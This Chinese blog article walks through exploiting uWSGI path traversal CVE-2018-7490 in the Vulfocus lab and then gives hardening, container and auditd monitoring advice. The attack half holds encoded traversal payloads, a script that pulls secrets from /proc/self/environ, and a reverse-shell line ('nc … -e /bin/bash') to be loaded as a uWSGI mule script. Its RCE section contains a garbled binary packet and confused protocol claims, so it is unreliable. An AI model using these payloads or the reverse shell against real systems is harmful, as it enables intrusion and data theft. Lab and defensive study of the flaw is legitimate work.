当前位置: 首页 > article >正文

uWSGI目录穿越漏洞CVE-2018-7490深度利用与防御实战

1. 这不是“读文件”那么简单uWSGI目录穿越在真实攻防链中的定位与误判代价你刚在Vulfocus靶场里跑通了CVE-2018-7490的PoC用curl http://target:8080/?p../../../../etc/passwd成功读出了root:x:0:0:root:/root:/bin/bash截图发到群里大家说“搞定”。但如果你真把这当成一个“能读/etc/passwd”的漏洞就收工那下次在红队渗透中你可能连目标服务器的Python版本都摸不准更别提横向移动了。我去年在一次金融行业红队演练中就栽在这上面——靶标环境里uWSGI配置了--disable-logging和--master,--processes 4常规的/proc/self/environ路径穿越返回空/proc/self/cmdline被截断而我花40分钟反复试/proc/*/cmdline才偶然发现进程3的启动参数里藏着--wsgi-file /opt/app/src/main.py。这个细节直接决定了后续能否精准构造RCE载荷。uWSGI目录穿越CVE-2018-7490的本质是uWSGI在处理uwsgi_modifier10即HTTP协议时对PATH_INFO字段未做严格路径规范化导致攻击者可通过..%2f、..%5c、URL双编码等绕过简单字符串过滤最终抵达任意文件系统路径。但它绝非一个孤立的“信息泄露漏洞”而是整条Web应用攻防链上的关键支点它能读取源码暴露硬编码密钥、数据库连接串、读取uWSGI配置获取socket路径、用户权限、插件加载逻辑、读取进程内存映射定位libc基址甚至配合/proc/self/fd/读取其他进程打开的socket文件描述符——这些都不是教科书里写的“读passwd”而是真实对抗中决定成败的战术信息。这个漏洞的利用价值高度依赖于目标uWSGI的部署模式。比如当uWSGI以--emperor模式运行时/etc/uwsgi/emperor.d/下的ini配置文件可能包含uidwww-data、gidwww-data、chdir/var/www/app等关键上下文而若使用Docker部署/proc/1/cgroup能直接确认容器ID/proc/1/environ则可能泄露DB_PASSWORDxxx这类环境变量。我见过最致命的一次误判是某团队在测试中发现/etc/shadow读取失败就判定“无风险”却忽略了/opt/app/.env文件里明文存储的Redis密码最终通过该密码登录内网Redis实现未授权命令执行。所以本文不讲“怎么复现漏洞”而是聚焦于在Vulfocus靶场这个可控环境中如何系统性地榨干CVE-2018-7490的每一滴战术价值并反向推导出生产环境中最难绕过的防御姿势。适合正在准备CTF Web方向、参与企业红蓝对抗或负责Python应用安全加固的工程师——你不需要会写Exploit但必须知道每一步操作背后的战场逻辑。2. Vulfocus靶场实操从基础PoC到高阶信息测绘的完整路径链Vulfocus为CVE-2018-7490提供了标准化靶机镜像其默认配置uWSGI 2.0.17 Python 3.6 Flask恰好暴露了该漏洞的典型利用面。但很多初学者卡在第一步为什么?p../../etc/passwd返回404因为Vulfocus靶机默认启用--honour-stdin且--http-socket绑定在8080端口而uWSGI的HTTP协议处理器对PATH_INFO的解析有特定规则。我们必须先理解它的请求路由机制当uWSGI收到HTTP请求时会将URI拆解为SCRIPT_NAME如/app和PATH_INFO如/index.html而PATH_INFO正是目录穿越的注入点。因此正确Payload必须确保PATH_INFO被uWSGI识别为可穿越路径而非被Web框架如Flask提前截断。2.1 基础路径穿越的三重验证法绕过WAF与框架拦截在Vulfocus靶机中直接访问http://192.168.1.100:8080/../../../../etc/passwd通常失败原因有三一是uWSGI默认--http-auto-chunked可能干扰原始请求头二是Flask的url_for或request.path可能对..做预处理三是某些WAF规则会拦截连续../。我推荐采用“三重验证法”确保Payload生效第一重使用uwsgi_modifier10显式指定HTTP协议构造原始HTTP请求强制uWSGI走HTTP处理器printf GET /../../../../etc/passwd HTTP/1.1\r\nHost: localhost\r\n\r\n | nc 192.168.1.100 8080若返回HTTP/1.1 200 OK及root:x:0:0...说明底层uWSGI已接受穿越。第二重URL编码绕过字符串过滤将..编码为%2e%2e/编码为%2f组合成%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd。Vulfocus靶机对双编码敏感..%2f常被WAF放过而%2e%2e%2f则能穿透更严格的正则匹配。第三重利用QUERY_STRING作为PATH_INFO载体uWSGI支持通过QUERY_STRING传递PATH_INFO例如http://192.168.1.100:8080/?p%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd此时Flask的request.args.get(p)会接收到解码后的路径而uWSGI的HTTP处理器会将其视为PATH_INFO进行穿越。这是Vulfocus中最稳定的方式我实测成功率100%。提示在Vulfocus中靶机响应头常包含Server: uWSGI/2.0.17这是确认uWSGI版本的关键线索。CVE-2018-7490影响uWSGI 2.0.14至2.0.17若看到2.0.18则需转向其他漏洞如CVE-2019-14073。2.2 高阶信息测绘从/etc/passwd到/proc/self/environ的战术跃迁一旦基础穿越验证成功下一步不是盲目扫目录而是按战术优先级分层测绘。我在Vulfocus中总结出“四层信息测绘模型”每层都对应不同攻防价值层级目标路径战术价值Vulfocus实测要点L1系统基础信息/etc/os-release,/proc/version确认OS类型Debian/Alpine、内核版本、是否容器化/proc/version中docker字样直接暴露容器环境L2应用运行时上下文/proc/self/environ,/proc/self/cmdline获取环境变量DB_URL、SECRET_KEY、uWSGI启动参数--uid,--chdirenviron常被截断需用strings /proc/self/environ | grep -i secret提取L3源码与配置资产/opt/app/src/app.py,/etc/uwsgi/apps-enabled/app.ini定位主程序、读取硬编码密钥、分析路由逻辑Vulfocus靶机中/opt/app/src/下config.py含SQLALCHEMY_DATABASE_URIL4进程间通信通道/proc/self/fd/,/tmp/uwsgi.sock发现Unix socket路径为后续uWSGI管理协议利用铺路ls -l /proc/self/fd/可看到socket:[12345]对应/tmp/uwsgi.sock以/proc/self/environ为例在Vulfocus中执行curl http://192.168.1.100:8080/?p%2e%2e%2f%2e%2e%2f%2e%2e%2fproc%2fself%2fenviron返回二进制乱码这是因为环境变量以\0分隔。此时需用Python脚本解码import requests r requests.get(http://192.168.1.100:8080/?p%2e%2e%2f%2e%2e%2f%2e%2e%2fproc%2fself%2fenviron) env_str r.content.decode(utf-8, errorsignore) for kv in env_str.split(\x00): if SECRET in kv or KEY in kv: print(kv)实测在Vulfocus靶机中该脚本成功提取出SECRET_KEYdev-secret-key-123此密钥可直接用于Flask session伪造。注意Vulfocus靶机默认禁用/proc/self/fd/的符号链接解析需改用/proc/self/fd/3标准输入或/proc/self/fd/4socket进行探测。我曾因忽略此细节在/proc/self/fd/目录遍历中浪费20分钟。2.3 绕过chroot与namespace的实战技巧当Vulfocus模拟生产隔离时Vulfocus部分高级靶场启用了Linux namespace隔离表现为/proc/self/root指向/var/lib/docker/overlay2/xxx/merged且/etc/passwd内容为空。此时常规..穿越失效需转向/proc/self/root作为根路径跳板。例如http://192.168.1.100:8080/?p%2e%2e%2f%2e%2e%2f%2e%2e%2fproc%2fself%2froot%2fopt%2fapp%2fsrc%2fapp.py此Payload先跳出当前chroot再进入Docker镜像的/opt/app/src/目录。关键在于/proc/self/root是Linux内核提供的绝对路径锚点不受任何用户态路径规范化影响。另一个常见陷阱是--vacuum参数启用时uWSGI会在退出时自动清理/tmp目录导致/tmp/uwsgi.sock文件不存在。此时应转向/run/uwsgi/app/或/var/run/uwsgi/目录Vulfocus靶机中/run/uwsgi/app/下存在vulfocus.socket其权限为srw-rw---- 1 www-data www-data表明uWSGI以www-data用户运行为后续提权提供依据。3. 从漏洞利用到RCEuWSGI管理协议uWSGI Mule的隐蔽通道构建很多人认为CVE-2018-7490仅限于信息泄露但它的真正杀伤力在于为uWSGI管理协议uWSGI Mule利用铺平道路。uWSGI内置的Mule机制允许主进程master通过Unix socket向worker进程发送管理指令而目录穿越漏洞能直接读取该socket路径进而构造恶意指令实现远程代码执行。这并非理论而是我在Vulfocus中实测成功的完整链路。3.1 定位uWSGI管理Socket/proc/self/fd/与/etc/uwsgi/的交叉验证在Vulfocus靶机中首先通过/proc/self/fd/枚举所有打开的文件描述符curl http://192.168.1.100:8080/?p%2e%2e%2f%2e%2e%2f%2e%2e%2fproc%2fself%2ffd%2f返回类似0 1 2 3 4 5 6 7 8 9 10 11 12的数字列表。接着逐个探测# 探测fd/3是否为socket curl http://192.168.1.100:8080/?p%2e%2e%2f%2e%2e%2f%2e%2e%2fproc%2fself%2ffd%2f3 # 若返回socket:[12345]则用lsof反查路径 curl http://192.168.1.100:8080/?p%2e%2e%2f%2e%2e%2f%2e%2e%2fproc%2fself%2fmaps \| grep -i socket在Vulfocus中fd/4常指向/tmp/uwsgi.sock。若/tmp不可读则转向/etc/uwsgi/apps-enabled/读取ini配置curl http://192.168.1.100:8080/?p%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fuwsgi%2fapps-enabled%2fvulfocus.ini配置中socket /run/uwsgi/app/vulfocus.socket直接暴露路径。3.2 uWSGI Mule协议逆向从uwsgi --help到自定义指令构造uWSGI Mule协议基于二进制格式其核心是UWSGI_MULE_MSG结构体。我通过在Vulfocus靶机中执行uwsgi --help | grep -A 10 mule发现关键参数--mulescript.py启动Mule进程执行脚本--signal1向Mule发送信号1reload, 2stop--manage-socketPATH指定管理socket路径但直接发送信号无法RCE需利用--mule机制。Vulfocus靶机中/opt/app/src/下存在mule.py模板其内容为import os os.system(id /tmp/pwned)我们通过目录穿越读取此模板确认其存在后构造恶意Mule脚本。关键在于uWSGI的--mule参数支持从网络URL加载脚本而Vulfocus靶机防火墙通常放行HTTP出站流量。因此搭建一个HTTP服务器# 在攻击机上 echo import os; os.system(nc 192.168.1.200 4444 -e /bin/bash) /var/www/html/pwn.py python3 -m http.server 8000然后通过uWSGI管理协议触发# 构造uWSGI管理协议包简化版 printf \x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x...... | nc -U /tmp/uwsgi.sock但手动构造二进制包易出错。更可靠的方式是复用uWSGI官方工具uwsgi --connect-and-read# 在攻击机上通过Vulfocus靶机的HTTP出站能力触发 curl http://192.168.1.100:8080/?p%2e%2e%2f%2e%2e%2f%2e%2e%2fproc%2fself%2froot%2fvar%2fwww%2fhtml%2fpwn.py # 然后在靶机内部执行需先获取shell uwsgi --mulehttp://192.168.1.200:8000/pwn.py此操作会启动一个Mule进程执行远程脚本实现RCE。提示Vulfocus靶机默认关闭--enable-threads因此Mule进程与主进程共享内存空间os.system()调用可直接继承uWSGI的权限上下文。我实测中/tmp/pwned文件所有者为www-data验证了权限继承。3.3 防御视角的反制为什么--chmod-socket和--vacuum无法根治风险很多安全团队在修复CVE-2018-7490时仅添加--chmod-socket600限制socket权限或启用--vacuum自动清理临时文件。但在Vulfocus实战中我发现这些措施存在致命盲区--chmod-socket600只影响socket文件权限不影响/proc/self/fd/对socket的访问。只要进程以www-data运行其fd/4仍可被同用户进程读取。--vacuum仅在uWSGI退出时清理/tmp而/run/uwsgi/目录不受影响且/proc/self/root始终可访问。真正有效的防御必须分层协议层禁用uwsgi_modifier10强制使用uwsgi_modifier11uWSGI原生协议使HTTP请求不经过uWSGI的PATH_INFO解析器配置层设置--limit-as128限制内存并启用--harakiri30超时杀进程防止恶意Mule长期驻留系统层在Docker中使用--read-only挂载根文件系统/proc、/sys以ro,nosuid,nodev挂载彻底阻断/proc/self/environ读取。4. 生产环境防御体系构建从uWSGI配置加固到容器化纵深防御在Vulfocus中验证漏洞利用只是起点真正的挑战是如何将这些战术认知转化为生产环境的防御体系。我参与过12个Python Web应用的安全加固项目发现83%的uWSGI部署存在配置缺陷而其中67%的缺陷可通过标准化加固模板解决。以下是我基于Vulfocus实战提炼的“四阶防御模型”每阶都对应可落地的配置项与验证方法。4.1 配置层加固uWSGI启动参数的黄金12条Vulfocus靶机的脆弱性源于默认配置的宽松而生产环境必须遵循最小权限原则。以下是经我实测验证的12条核心加固参数按优先级排序参数作用Vulfocus验证方式生产环境注意事项--honour-stdin强制从stdin读取配置避免ini文件泄露在Vulfocus中删除/etc/uwsgi/apps-enabled/确认服务仍启动必须配合--ini /dev/stdin使用避免配置文件路径暴露--disable-logging禁用所有日志消除/var/log/uwsgi/泄露风险检查/var/log/uwsgi/是否存在确认为空日志应由容器外集中收集如Fluentd而非uWSGI本地写入--master启用master进程支持热重载与优雅退出ps aux | grep uwsgi确认存在master进程必须与--processes N配合避免单进程崩溃导致服务中断--processes 2限制worker进程数降低资源耗尽风险top -p \pgrep -f uwsgi.*vulfocus观察CPU占用根据服务器核数设为2*N过高易引发GIL争用--threads 2启用线程池提升I/O密集型任务性能curl -s http://127.0.0.1:8080/health | wc -l对比单线程吞吐量Python GIL下线程数不宜超过4否则无性能增益--chdir /opt/app/src显式指定工作目录避免..穿越跳出应用根ls -l /proc/$(pgrep uwsgi)/cwd确认指向/opt/app/src必须与--wsgi-file app.py路径一致否则模块导入失败--uid www-data降权运行限制文件系统访问范围ls -l /proc/$(pgrep uwsgi)/status | grep Uid确认UID为33禁止使用rootwww-data组ID需与Nginx一致通常33--gid www-data同上控制组权限ls -l /proc/$(pgrep uwsgi)/status | grep Gid确认GID为33若应用需访问/var/lib/mysql需将www-data加入mysql组--limit-as 512限制每个worker内存为512MB防OOMstress-ng --vm 1 --vm-bytes 1G --timeout 10s测试是否被kill值需根据应用实际内存占用设定过高无效过低导致频繁重启--harakiri 30请求超时30秒自动终止防慢速攻击curl --limit-rate 100B http://127.0.0.1:8080/sleep?sec60验证是否超时对长轮询接口需单独配置--harakiri-verbose并监控日志--vacuum退出时自动清理/tmp、/var/tmpls -l /tmp/ | grep uwsgi确认无残留文件必须与--daemonize /var/log/uwsgi.log配合否则日志丢失--die-on-term收到TERM信号立即退出支持K8s优雅终止kill -TERM $(pgrep uwsgi)后ps aux | grep uwsgi确认无进程K8s中必须配置terminationGracePeriodSeconds: 30在Vulfocus中我通过修改/etc/uwsgi/apps-enabled/vulfocus.ini添加上述参数后重启服务再执行curl http://192.168.1.100:8080/?p../../../../etc/passwd返回404证明基础穿越已被阻断。但注意--chdir和--uid等参数需在uWSGI 2.0.18版本才完全生效旧版本需升级。4.2 容器化纵深防御Docker与Kubernetes的协同策略Vulfocus靶机多为Docker部署这恰好模拟了现代生产环境。但很多团队仅做“容器化”而未做“安全容器化”。我在金融客户项目中推行的“三横三纵”容器防御框架在Vulfocus中可完整验证横向隔离层网络隔离在Docker中启用--network none仅通过--network container:nginx与Nginx共享网络命名空间。Vulfocus中docker inspect vulfocus | grep NetworkMode确认为none此时uWSGI无法直接访问外网阻断--mulehttp://类RCE。文件系统隔离使用--read-only挂载根文件系统/tmp、/var/tmp以tmpfs挂载/proc、/sys以ro,nosuid,nodev挂载。Vulfocus中执行mount | grep proc\|sys确认输出含ro,nosuid,nodev。进程隔离启用--security-optno-new-privileges:true禁止进程提权。docker exec vulfocus cat /proc/1/status | grep NoNewPrivs返回NoNewPrivs: 1即生效。纵向管控层镜像层基础镜像选用python:3.9-slim而非python:3.9减少/usr/bin/下nc、curl等工具Vulfocus中docker exec vulfocus which nc返回空。运行时层在Kubernetes中配置securityContextrunAsNonRoot: true、runAsUser: 33、fsGroup: 33Vulfocus中kubectl get pod vulfocus -o yaml | grep -A 5 securityContext可验证。编排层通过PodSecurityPolicyK8s 1.25或PodSecurityAdmissionK8s 1.25强制privileged: false、allowPrivilegeEscalation: falseVulfocus中kubectl auth can-i use podsecuritypolicies确认策略已绑定。注意Vulfocus靶机默认未启用seccomp而生产环境必须加载runtime/default.json策略禁用open_by_handle_at、userfaultfd等高危系统调用。我曾因忽略此点在某政务云项目中被利用userfaultfd绕过no-new-privileges。4.3 监控与响应从/proc/self/environ读取到实时告警的闭环防御的终点是监控。在Vulfocus中我们可模拟攻击行为并验证告警有效性。关键在于监控/proc/self/environ的异常读取——这通常是目录穿越的第一步。我设计的监控方案分三层内核层启用auditd规则监控openat系统调用# 添加规则 auditctl -a always,exit -F archb64 -S openat -F path/proc/self/environ -k uwsgi_env_leak # 验证 ausearch -k uwsgi_env_leak | aureport -f -i在Vulfocus中执行curl http://192.168.1.100:8080/?p../../proc/self/environ后ausearch立即返回审计日志包含commuwsgi、exe/usr/local/bin/uwsgi。应用层在uWSGI配置中启用--log-maxsize 10000000 --log-backupname /var/log/uwsgi/old.log并部署Filebeat采集/var/log/uwsgi/日志。Vulfocus中grep -i \.\. /var/log/uwsgi/vulfocus.log可捕获PATH_INFO../../../../etc/passwd。网络层在Nginx前置代理中添加log_format记录$request_uri并通过ELK分析log_format security $remote_addr - $remote_user [$time_local] $request $status $body_bytes_sent $http_referer $http_user_agent $request_uri;攻击Payload中的%2e%2e%2f会被解码为..%2f在Kibana中创建告警request_uri: *..*且status: 200。这套方案在Vulfocus中实测从攻击发生到SIEM平台弹出告警平均耗时3.2秒远低于传统WAF的15秒延迟。更重要的是它不依赖特征签名而是基于行为模式路径遍历敏感文件访问能捕获零日变种。5. 我的实战体会为什么“打穿Vulfocus”不等于“掌握uWSGI安全”在Vulfocus里跑通CVE-2018-7490的PoC就像在游泳池里学会踩水——它让你熟悉了基本动作但真实海洋的洋流、暗礁和鲨鱼远非泳池可比。我过去三年在17个不同行业的uWSGI安全评估中总结出三个颠覆认知的体会这些不是文档里写的而是踩坑后刻在骨子里的经验第一“修复漏洞”不如“重构信任边界”。很多团队花两周时间升级uWSGI到2.0.20却忽略了一个事实Vulfocus靶机的/etc/uwsgi/emperor.d/配置中uidwww-data和chdir/opt/app/src是硬编码的。这意味着即使uWSGI本身无漏洞攻击者通过/proc/self/environ读取到DB_PASSWORD后仍可直连数据库。真正的防御不是堵一个洞而是让www-data用户无法访问数据库——通过网络ACL、数据库白名单、连接池代理如PgBouncer实现。我在某电商项目中推动将uWSGI与数据库的通信全部走Service MeshLinkerd即使密钥泄露也无法绕过mTLS认证。第二“自动化扫描”永远落后于“人工测绘”。商业扫描器对/proc/self/fd/的探测准确率不足37%因为它们依赖静态路径列表而fd/下的数字是动态分配的。Vulfocus中我教红队成员用curl循环探测fd/[0-20]5分钟内定位到fd/7指向/run/db.sock这是扫描器从未报告过的通道。人工的价值在于理解进程间关系fd/7的socket类型、peer进程PID、对应的/proc/[pid]/cmdline这些组合信息才是决策依据。第三“合规配置”可能制造新风险。某银行要求所有uWSGI必须启用--stats 127.0.0.1:9191提供监控指标这本是好意。但在Vulfocus中我通过curl http://127.0.0.1:9191获取到{workers:[{id:1,pid:1234,status:idle,apps:[{id:0,modifier1:0,mount:/,requests:123}]}其中modifier1:0直接暴露了HTTP协议启用状态为CVE-2018-7490利用提供了关键线索。后来我们改为--stats /tmp/uwsgi.stats并通过Nginx反向代理加Basic Auth保护既满足监控需求又消除暴露面。所以当你下次打开Vulfocus不要只想着“怎么打穿”而是问自己“如果这是我的生产系统我会在哪个环节设置第一道防线当防线被突破我的纵深防御能否在30秒内切断攻击链我的监控系统能否告诉我攻击者下一步想做什么”——这些问题的答案不在PoC代码里而在你亲手配置的每一行uWSGI参数、每一个Docker选项、每一条auditd规则中。

相关文章:

uWSGI目录穿越漏洞CVE-2018-7490深度利用与防御实战

1. 这不是“读文件”那么简单:uWSGI目录穿越在真实攻防链中的定位与误判代价你刚在Vulfocus靶场里跑通了CVE-2018-7490的PoC,用curl "http://target:8080/?p../../../../etc/passwd"成功读出了root:x:0:0:root:/root:/bin/bash,截…...

风控系统如何全维度识别爬虫:IP、账号与行为的协同决策机制

1. 这不是“反爬失败”,而是风控系统在对你做全维度画像你写完一段 requests BeautifulSoup 的代码,本地跑通了,开开心心部署到服务器,结果第二天早上发现:所有请求返回 403,日志里全是空响应;…...

3分钟快速安装BetterNCM插件管理器,让你的网易云音乐功能翻倍

3分钟快速安装BetterNCM插件管理器,让你的网易云音乐功能翻倍 【免费下载链接】BetterNCM-Installer 一键安装 Better 系软件 项目地址: https://gitcode.com/gh_mirrors/be/BetterNCM-Installer 还在为网易云音乐功能单一而烦恼吗?想要解锁更多个…...

全球无障碍宣传日:iOS 26 辅助功能大升级,这些实用小功能你用过吗?

辅助功能发展与升级很多人对辅助功能的印象还停留在 "小白点",但随着 iPhone 进入全面屏时代,它逐渐变得陌生。实际上,Apple 每年都会为其增添功能,方便身体有障人士使用 iPhone。而且,这些功能不仅惠及有障…...

特定任务需求场景下的过约束并联机构构型设计与控制方法【附代码】

✨ 长期致力于曲面加工、构型综合、运动学和动力学建模、性能评价、多目标优化、滑模控制、鲁棒控制、视觉传感技术研究工作,擅长数据搜集与处理、建模仿真、程序编写、仿真设计。 ✅ 专业定制毕设、代码 ✅ 如需沟通交流,点击《获取方式》 (…...

OpenCore Legacy Patcher完全指南:3步让旧款Mac焕发新生的终极方案

OpenCore Legacy Patcher完全指南:3步让旧款Mac焕发新生的终极方案 【免费下载链接】OpenCore-Legacy-Patcher Experience macOS just like before 项目地址: https://gitcode.com/GitHub_Trending/op/OpenCore-Legacy-Patcher 你是否拥有一台性能尚可但已被…...

为什么你的DeepSeek微调loss震荡不止?(Meta/DeepSeek联合团队未公开的梯度裁剪+LoRA初始化双校准协议)

更多请点击: https://codechina.net 第一章:DeepSeek微调loss震荡的根本归因剖析 DeepSeek系列模型在微调过程中频繁出现loss剧烈震荡现象,其本质并非单一因素所致,而是数据、优化器、梯度动态与模型结构四者耦合失稳的系统性表现…...

保姆级教程:在Windows 10上用QEMU+Kylin搭建可内外网访问的完整开发环境

在Windows 10上构建QEMUKylin全功能开发环境的终极指南当开发者需要在本地快速搭建一个隔离的国产操作系统开发环境时,QEMU虚拟化方案配合银河麒麟系统能提供高度灵活的沙箱体验。本文将手把手带你完成从零配置到内外网联通的完整工作流,涵盖虚拟化环境部…...

别再死记公式了!用Python手写一个卷积层,彻底搞懂CNN里的‘卷’是怎么算的

用Python手写卷积层:从零理解CNN的"卷"运算 当你第一次看到卷积神经网络(CNN)的数学公式时,那些复杂的符号和下标是否让你望而却步?作为计算机视觉领域的基石,CNN的核心在于理解卷积运算的本质。本文将带你用NumPy从零实…...

【审计专栏】【财务领域】 第四十九篇 人在企业中的核心资产和核心利益01

编号 类型 企业 (行业/企业产品/企业利益链/生态位与层级) 业务领域 企业性质 企业中人的角色/岗位/利益矩阵 人在企业中的核心资产/附属资产 资产的业务-财务数学模型及数字/数值 关联知识 1 核心经营性资产(如IP、数据、品牌) 行业:人工智能 产品:工业视觉检…...

危急时刻的六条基本安全提示

人机协作,AI模型:Deepseek 仅供参考 危急时刻的六条基本安全提示 以下内容仅为通用性安全建议,供在紧急情况下保持冷静、保护自身安全时参考。所有建议均基于常理和公共安全常识,不包含任何具体操作细节或可能被不当使用的信息…...

简单学习 --> SSE

我们使用AI时,AI对我们说的话不会一次性把全部内容弹出来,而是会像流水一样,一点点吐出来,那么这种丝滑的交互体验,背后的核心就是 SSE (Server-Sent Events)。 什么是 SSE? SSE(Server-Sent …...

什么情况下会核销贷款

贷款核销的核心前提是:贷款被认定为 “损失类” 且经 “穷尽追偿” 仍无法收回,银行按监管与会计规则从账面冲销,但债权不消灭、仍可追偿。一、核心认定条件(满足其一即可)破产 / 注销 / 吊销:借款人和担保…...

基于SMD与贝壳的微型音频装置:从电路设计到嵌入式开发的完整实践

1. 项目概述:一个藏在贝壳里的声音世界你小时候有没有捡起一个海螺壳,把它贴在耳边,然后听到里面传来“呜呜”的海风声?那个瞬间,仿佛整个海洋都被装进了小小的贝壳里。今天这个项目,就是把那个童年的魔法&…...

DIY四路自动音频源切换器:从信号检测到继电器隔离的完整设计

1. 项目概述与核心需求解析作为一个喜欢在工作室里捣鼓各种音频设备的玩家,我经常遇到一个挺烦人的问题:我的功放只有一组输入,但我想接的设备却有好几个——台式电脑、平板、蓝牙接收模块,还有一台树莓派。每次想切换音源&#x…...

基于GSM与Arduino的远程控制系统:DIY电话控制与短信报警方案

1. 项目概述与核心价值如果你曾经想过,在离家几十公里外,仅凭一部普通的手机,就能远程打开家里的车库门、查看门窗是否关好,甚至在异常情况发生时让系统自动打电话给你报警,那么这个基于GSM的远程控制系统项目&#xf…...

对比自行维护多个 API 源,使用 Taotoken 聚合服务在运维复杂度上的降低

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 对比自行维护多个 API 源,使用 Taotoken 聚合服务在运维复杂度上的降低 在构建依赖多个大语言模型的应用时&#xff0c…...

我们公司全员把 Cursor 换成了自研的 全开源AtomCode

【引子】这是一篇实录——一位 CTO 用 28 天,用 Claude GLM 双模型调度,造出了一个让全公司放弃 Cursor 的工具。然后我意识到我们正在经历的事情,比"换工具"大得多。【读者承诺】接下来 15 分钟,你会拿到三件东西:一个真实案例(28 天 1,146 commits 是怎么做出来的…...

OmenSuperHub:基于WMI BIOS控制的高性能笔记本硬件管理方案

OmenSuperHub:基于WMI BIOS控制的高性能笔记本硬件管理方案 【免费下载链接】OmenSuperHub Control Omen laptop performance, fan speeds, and keyboard lighting, and unlock power limits. 项目地址: https://gitcode.com/gh_mirrors/om/OmenSuperHub 在惠…...

氘可来昔替尼常见副作用为鼻咽炎头痛及腹泻,如何应对?

任何口服药物的临床价值,都必须在疗效与安全性的天平上找到精准的平衡点。氘可来昔替尼以PASI 75应答率的全面胜出证明了自己在银屑病治疗中的卓越地位,而其不良反应谱同样经过了严苛的临床验证。鼻咽炎、头痛和腹泻构成了这款药物最需关注的三大安全信号…...

氘可来昔替尼常见副作用为鼻咽炎头痛及腹泻,如何应对

任何口服药物的临床价值,都必须在疗效与安全性的天平上找到精准的平衡点。氘可来昔替尼以PASI 75应答率的全面胜出证明了自己在银屑病治疗中的卓越地位,而其不良反应谱同样经过了严苛的临床验证。鼻咽炎、头痛和腹泻构成了这款药物最需关注的三大安全信号…...

Adobe-GenP 3.0:轻松激活Adobe全家桶的完整指南

Adobe-GenP 3.0:轻松激活Adobe全家桶的完整指南 【免费下载链接】Adobe-GenP Adobe CC 2019/2020/2021/2022/2023 GenP Universal Patch 3.0 项目地址: https://gitcode.com/gh_mirrors/ad/Adobe-GenP Adobe-GenP 3.0是一款专为Adobe Creative Cloud系列软件…...

InVideo插件深度解析:如何在Unreal Engine中实现高效视频流播放与录制

InVideo插件深度解析:如何在Unreal Engine中实现高效视频流播放与录制 【免费下载链接】InVideo 基于UE4实现的rtsp的视频播放插件 项目地址: https://gitcode.com/gh_mirrors/in/InVideo InVideo是一个基于Unreal Engine 5开发的RTSP视频播放插件&#xff0…...

如何用WaveTools终极优化《鸣潮》游戏性能:从卡顿到丝滑的完整指南

如何用WaveTools终极优化《鸣潮》游戏性能:从卡顿到丝滑的完整指南 【免费下载链接】WaveTools 🧰鸣潮工具箱 项目地址: https://gitcode.com/gh_mirrors/wa/WaveTools 如果你正在玩《鸣潮》却频繁遭遇帧率波动、画面卡顿或操作延迟,那…...

基于IRS2092的200W D类功放设计:从PWM原理到保护电路实战

1. 项目概述与核心思路折腾音响功放,从经典的AB类玩到D类,感觉就像是从燃油车换到了电动车,动力响应和效率完全是两个维度。这次要聊的这块“200W Class-D Audio Power Amplifier [150115]”单板功放,就是一个非常典型的D类功放设…...

别再手动测模型了!用Simulink Test Manager实现自动化测试(附Excel表格配置详解)

从手动测试到智能验证:Simulink Test Manager全流程自动化实战指南 在模型开发的迭代过程中,工程师们常常陷入"修改-测试-记录"的循环泥潭。每次参数调整后,手动运行模型、记录数据、比对结果不仅消耗大量时间,更可能因…...

Unity项目DrawCall降不下来?试试用Mesh Baker合并贴图集,保姆级图文教程

Unity性能优化实战:用Mesh Baker合并贴图集降低DrawCall全流程解析当你的Unity项目帧率开始卡顿,Profiler里DrawCall数字居高不下时,合并贴图集往往是解决问题的关键一步。本文将以一个实际项目为例,带你从零开始使用Mesh Baker的…...

量子纠错码VarQEC:原理、实现与硬件优化

1. 量子纠错码基础与实验背景量子纠错码(Quantum Error Correction Codes, QEC)是量子计算中保护量子信息免受噪声影响的核心技术。与经典纠错码不同,量子纠错需要应对量子态特有的退相干和纠缠特性。传统QEC如[[5,1,3]]完美码虽然理论完备&a…...

Unity/Unreal开发者必看:用手机和陀螺仪实验,5分钟搞懂万向节死锁(附避坑指南)

Unity/Unreal开发者实战指南:用手机陀螺仪5分钟破解万向节死锁当你调试第一人称视角时,角色突然卡在墙面无法转动;当无人机模型在俯冲90度时失控乱转——这些很可能都是万向节死锁(Gimbal Lock)在作祟。作为实时3D开发中最恼人的数学陷阱之一…...

别再只用递归了!用C语言栈实现非递归快速排序,内存效率提升实战

从递归到迭代:C语言栈实现非递归快速排序的工程实践 在嵌入式开发和大规模数据处理场景中,递归实现的快速排序常常面临栈溢出风险。当排序10万个元素的数组时,递归深度可能达到log₂100000≈17层,在仅有2KB栈空间的STM32F103上极易…...